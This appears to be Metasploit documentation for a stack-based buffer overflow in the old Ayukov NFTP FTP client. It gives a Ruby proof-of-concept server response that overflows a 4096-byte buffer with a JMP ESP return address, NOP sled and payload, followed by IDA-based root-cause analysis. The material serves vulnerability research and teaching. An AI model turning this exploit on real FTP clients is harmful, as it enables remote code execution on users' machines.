2020-01-20 21:26:59 -05:00
## Vulnerable Application
2018-01-03 20:52:57 -06:00
Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in
2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it
handles the server input.
The exploit was tested on Windows XP SP3 (English).
The vulnerable copy can be [downloaded from Exploit-DB ](https://www.exploit-db.com/apps/a766d928899200ed6a21f7c790b5cbe5-nftp-1.71-i386-win32.exe ).
2020-01-20 21:26:59 -05:00
### PoC
2018-01-03 20:52:57 -06:00
A submission was made to Metasploit as [PR #9360 ](https://github.com/rapid7/metasploit-framework/pull/9360 ). Here's an example of how to crash the FTP client:
``` ruby
# Let the client log in
client . get_once
user = " 331 OK. \r \n "
client . put ( user )
client . get_once
pass = " 230 OK. \r \n "
client . put ( pass )
sploit = " A " * 4116
sploit << [ target . ret ] . pack ( 'V' ) # JMP ESP here
sploit << " \x90 " * 16
sploit << payload . encoded
sploit << " C " * ( 15000 - 4116 - 4 - 16 - payload . encoded . length )
sploit << " \r \n "
client . put ( sploit )
client . get_once
pwd = " 257 \r \n "
client . put ( pwd )
client . get_once
```
2020-01-20 21:26:59 -05:00
### Root Cause Analysis
2018-01-03 20:52:57 -06:00
When serving the PoC against the vulnerable app, the client's command prompt shows:
```
12:28:43 331 OK.
12:28:43 USER anonymous
12:28:43 230 OK.
12:28:43 Successfully logged in as 'anonymous@192.168.0.12'
12:28:43 SYST
12:28:43 .................. Lots of AAAAAs here .....................
12:28:43 TYPE I
12:28:43 257
```
The interesting part here is that when the client sends a ```SYST` `` request, the server responds
with a long string of data attempting to cause a crash. This would be a good starting point to
investigate the root cause.
With IDA Pro, we can tell that the ` ``SYST` `` string is at the following location:
` ``
.text:004096B6 ; char aSyst[]
.text:004096B6 aSyst db 'SYST',0 ; DATA XREF: sub_409978+B8C o
` ``
When we cross reference, we can tell this is used by the ` ``OpenControlConnection` `` function.
Although there is no symbol to identify the actual function name "OpenControlConnection", the
debugging message at the beginning of the function is a big hint:
` ``C
int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
{
sub_45AF40(savedregs);
*(_DWORD *)&name.sa_data[10] = a2;
*(_DWORD *)&name.sa_data[6] = a3;
*(_DWORD *)&name.sa_data[2] = a1;
if ( !dword_477AEC )
sub_419B4C(1);
while ( 1 )
{
while ( 1 )
{
do
{
sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]);
...
` ``
Anyway, inside the OpenControlConnection function, we can see that the ` ``SYST` `` command is
requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this
way):
` ``
.text:0040A504 push offset aSyst ; "SYST"
.text:0040A509 lea eax, [ebp+charResBuffer]
.text:0040A50F push eax ; charResBuffer
.text:0040A510 lea eax, [ebp+args]
.text:0040A516 push eax ; int
.text:0040A517 push 0 ; int
.text:0040A519 call SendFTPRequest
` ``
Inside the SendFTPRequest function, it looks like this:
` ``C
int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...)
{
char *v4; // ebx@0
int v5; // edi@0
int v6; // esi@0
char *v7; // edx@1
char Dst[16384]; // [esp+18h] [ebp-4000h]@2
char *savedregs; // [esp+4018h] [ebp+0h]@1
va_list va; // [esp+4030h] [ebp+18h]@1
va_start(va, Format);
sub_45AF40(savedregs);
savedregs = v4;
v7 = Format;
if ( Format )
{
v4 = Dst;
// This actually checks the input for the FTP command from the client.
// The 0x4000u indicates the string should not be longer than that, otherwise
// there will be a buffer overflow warning in this function.
snprintf1(Dst, 0x4000u, Format, va);
v7 = Dst;
}
return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7);
}
` ``
We were able to tell the second argument for ` ``SendFTPRequest` `` is actually a buffer for receiving
the server's response, because the way it is used:
2017-12-31 15:42:32 +00:00
2018-01-03 20:52:57 -06:00
` ``C
result = SendFTPRequest(0, (int)args, charResBuffer, "SYST");
if ( result == -4 )
return result;
if ( result )
goto LABEL_231;
if ( *(_DWORD *)args == 2 )
{
sub_445CEC(charResBuffer);
if ( strstr(charResBuffer, "unix") )
{
if ( strstr(charResBuffer, "powerweb") )
{
*(_DWORD *)dword_47B1E0 = 6;
goto LABEL_206;
}
}
...
` ``
2017-12-31 15:42:32 +00:00
2018-01-03 20:52:57 -06:00
In addition, this buffer is actually on the stack, and it's 4096 long:
2017-12-31 15:42:32 +00:00
2018-01-03 20:52:57 -06:00
` ``
-00001010 charResBuffer db 4096 dup(?)
` ``
2017-12-31 15:42:32 +00:00
2018-01-03 20:52:57 -06:00
This means that if the server responds with something longer than 4096 bytes for the ` ``SYST` `` request,
the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of
` ``OpenControlConnection` ``, the ` ``RETN` `` ends up loading the corrupt data, which may lead to
arbitrary code execution:
2017-12-31 15:42:32 +00:00
2018-01-03 20:52:57 -06:00
` ``
.text:0040AC39 lea esp, [ebp-2048h]
.text:0040AC3F pop ebx
.text:0040AC40 pop esi
.text:0040AC41 pop edi
.text:0040AC42 leave
.text:0040AC43 retn
` ``
2017-12-31 15:42:32 +00:00
2018-01-03 20:52:57 -06:00
Since whoever is using ` ``SendFTPRequest` `` is responsible for providing the buffer of the server
response, and there are 47 other cross-references, it is possible there are different ways to
trigger the same bug. And since it doesn't look like there is a patch (because the product is
no longer in active development, from the exploit developer's perspective, it is not necessary
to look for other ways to exploit it).